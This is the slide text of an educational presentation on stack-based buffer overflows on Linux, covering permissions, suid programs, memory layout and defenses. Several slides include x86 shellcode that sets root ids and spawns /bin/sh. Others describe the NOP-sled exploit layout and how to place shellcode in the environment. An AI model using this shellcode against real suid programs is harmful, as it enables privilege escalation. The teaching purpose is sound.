390 likes | 572 Views
Buffer Overflows : An In-depth Analysis. Introduction. A buffer overflow occurs when data written to a buffer, due to insufficient bounds checking, corrupts data values in memory addresses adjacent to the allocated buffer. Buffer overflows were understood as early as 1972.
E N D
Introduction A buffer overflow occurs when data written to a buffer, due to insufficient bounds checking, corrupts data values in memory addresses adjacent to the allocated buffer Buffer overflows were understood as early as 1972 Programming languages commonly associated with buffer overflows include C and C++ The legendary Morris Worm made use of a Buffer overflow exploit in fingerd in 1988 Most commonly this occurs when copying strings of characters from one buffer to another Result in erratic program behavior, including memory access errors, incorrect results, program termination , or a breach of system security. In 2003, buffer overflows present in licensed Xbox games have been exploited to allow unlicensed software
Buffer Overflows A L I C E \0 0 7 Name[9] Age[2] Who the programmer was expecting… Name: Alice Age : 7
Buffer Overflows F R A N K E N S T E I N Name[9] Age[2] And who showed up uninvited… Name: Frankenstein Age : ?
Introduction Exploitation duh! Result in erratic program behavior, including memory access errors, incorrect results, program termination , or a breach of system security. Now this is what I’m talking about ! The techniques to exploit a buffer overflow vulnerability vary per architecture, operating system and memory region • Stack Based Buffer Overflows • Heap Based Buffer Overflows
Analysis of Stack Based Buffer Overflows on Linux Introduction Fundamentals Users, Groups and the Super User File Access Control and Permissions Suid Programs Memory Program Memory Segmentation Shellcode Program I Hacking Program II Defense
Fundamentals Users, Groups and the Super User Group Gods Hercules Athena Zeus User Groups Group Mortals Hercules Hercules Odysseus Perseus
Fundamentals Users, Groups and the Super User The Root User In Unix-style computer operating systems, root is the conventional name of the user who has all rights or permissions (to all files and programs) in all modes (single- or multi-user) The root user can do many things an ordinary user cannot, such as changing the ownership of files and binding to network ports numbered below 1024.
Fundamentals File Access Control and Permissions Read Write Execute User Group Others
Fundamentals File Access Control and Permissions Execute Execute Dir Read Write Read Write Read Write Execute Set G/Uid Set G/Uid Others Group User
Fundamentals File Access Control and Permissions
Fundamentals • Suid Programs setuid and setgid are Unix access rights flags that allow users to run an executable with the permissions of the executable's owner or group. When a permission with suid permission is executed, the user’s effective user id (euid) is changed to the program’s owner Unix programs like mount, passwd etc. are all suid root
Fundamentals • Suid Programs
Fundamentals Memory X86 processors use a 32-bit addressing scheme Variables are places in the memory that store information Pointers are special type of variables that store memory address locations to reference information Processor Memory Processor EBP ESP EIP
Fundamentals Memory Little Endian and Big Endian 0x12345678 0x78563412 0x12345678 Big Endian Little Endian x86, 6502, Z80, VAX Motorola 6800, 68000, System/370
Fundamentals Program Memory Segmentation text Segment where assembled machine language instructions are located Also known as Code Segment No write permission to this segment Can be shared between different copies of Same Program data bss Store global and static variables Data Segment contains initialized global variables, strings and constants BSS contains uninitialized global variables, strings and constants Both BSS and Data Segment are of fixed size heap Used for program variables Variable size and grows from Lower to Higher memory locations stack FILO data structure used to store context during function calls Variable size and grows from Higher to Lower memory locations
Fundamentals The Stack ESP Processor EBP Stack Frame
Fundamentals Stack Frame When a function is called, information is pushed to the stack and is known as a stack frame Function Variable 3 Function Variable 2 stack pointer Function Variable 1 ESP Memory Stack Growth Saved Frame Pointer EBP Return Address frame pointer / local base pointer Function Parameter n Function Parameter n-1
Fundamentals • Stack By Example void test_function(inta,int b, int c) { char flag; char buffer[10]; } void main() { testfunction(1,2,3) } buffer flag stack frame pointer return address 1 2 3 Sample Program
Fundamentals Stack By Example - Demo
Fundamentals Stack By Example - Demo
Fundamentals Stack By Example
Fundamentals Stack By Example
Fundamentals Stack By Example
Fundamentals Stack By Example return address EBP return address
Fundamentals Shellcode section .data ; section declaration filepath db "/bin/shXAAAABBBB" ; the string section .text ; section declaration global _start ; Default entry point for ELF linking _start: ; setreuid(uid_truid, uid_teuid) moveax, 70 ; put 70 into eax, since setreuid is syscall #70 movebx, 0 ; put 0 into ebx, to set real uid to root movecx, 0 ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen ; execve(const char *filename, char *const argv [], char *const envp[]) moveax, 0 ; put 0 into eax movebx, filepath ; put the address of the string into ebx mov [ebx+7], al ; put the 0 from eax where the X is in the string ; ( 7 bytes offset from the beginning) mov [ebx+8], ebx ; put the address of the string from ebx where the ; AAAA is in the string ( 8 bytes offset) mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the ; BBBB is in the string ( 12 bytes offset) moveax, 11 ; Now put 11 into eax, since execve is syscall #11 lea ecx, [ebx+8] ; Load the address of where the AAAA was in the ; string into ecx lea edx, [ebx+12] ; Load the address of where the BBBB is in the ; string into edx int 0x80 ; Call the kernel to make the system call happen
Smashing the Stack for fun and profit void test_function(inta,int b, int c) { char flag; char buffer[100]; scanf(buffer); } void main() { testfunction(1,2,3) } buffer evil buffer flag stack frame pointer return address 1 2 3
Smashing the Stack for fun and profit buffer 2 Run evil code here flag 1 return here stack frame pointer return address 1 2 3
Smashing the Stack for fun and profit Structure of the ‘perfect’ Evil Input buffer flag Attacker Code stack frame pointer return address Return Address to Attacker Code
Smashing the Stack for fun and profit Structure of the ‘real-world’ Evil Input buffer NOP Sled flag Attacker Code stack frame pointer Repeated Return Addresses to Attacker Code return address
Smashing the Stack for fun and profit Demo: Program I
Smashing the Stack for fun and profit What if the buffer was small ? void test_function(inta,int b, int c) { char flag; char buffer[5]; scanf(buffer); } void main() { testfunction(1,2,3) } buffer Shellcode flag stack frame pointer return address 1 2 evil buffer 3
Smashing the Stack for fun and profit Thou shall use the environment…. void test_function(inta,int b, int c) { char flag; char buffer[5]; scanf(buffer); } void main() { testfunction(1,2,3) } Shellcode environment buffer Repeated return address to the shellcode in the environment flag stack frame pointer return address 1 2 evil buffer 3
Smashing the Stack for fun and profit Dumping the shellcode in the environment…. intexecle(const char *path, const char *arg, ..., char * const envp[]); Finding the return address…. return address = 0xbffffffa – length of shellcode – length of program name OR gdb
Smashing the Stack for fun and profit Demo: Program II
Defense • Choice of programming language The Java and .NET bytecode environments also require bounds checking on all arrays Nearly every interpreted language will protect against buffer overflows Performance Versus Safety • Use of safe libraries Avoid standard library functions which are not bounds checked (strcpy,strcat,gets) • Buffer overflow protection Buffer overflow protection is used to detect the most common buffer overflows by checking that the stack has not been altered Three such systems are Libsafe, StackGuard and ProPolice gcc patches Microsoft's Data Execution Prevention mode explicitly protects the pointer to the SEH Exception Handler from being overwritten • Address space layout randomization Address space layout randomization (ASLR) is a computer security feature which involves arranging the positions of key data areas, usually including the base of the executable and position of libraries, heap, and stack, randomly in a process' address space.
FIN References • Amal Krishnan • Digital Security Practice • Cognizant • amalkrishnan@acm.org • amal.chemmani@cognizant.com • 9895937765 • “The Art of Exploitation” • - Jon Erickson • Wikipedia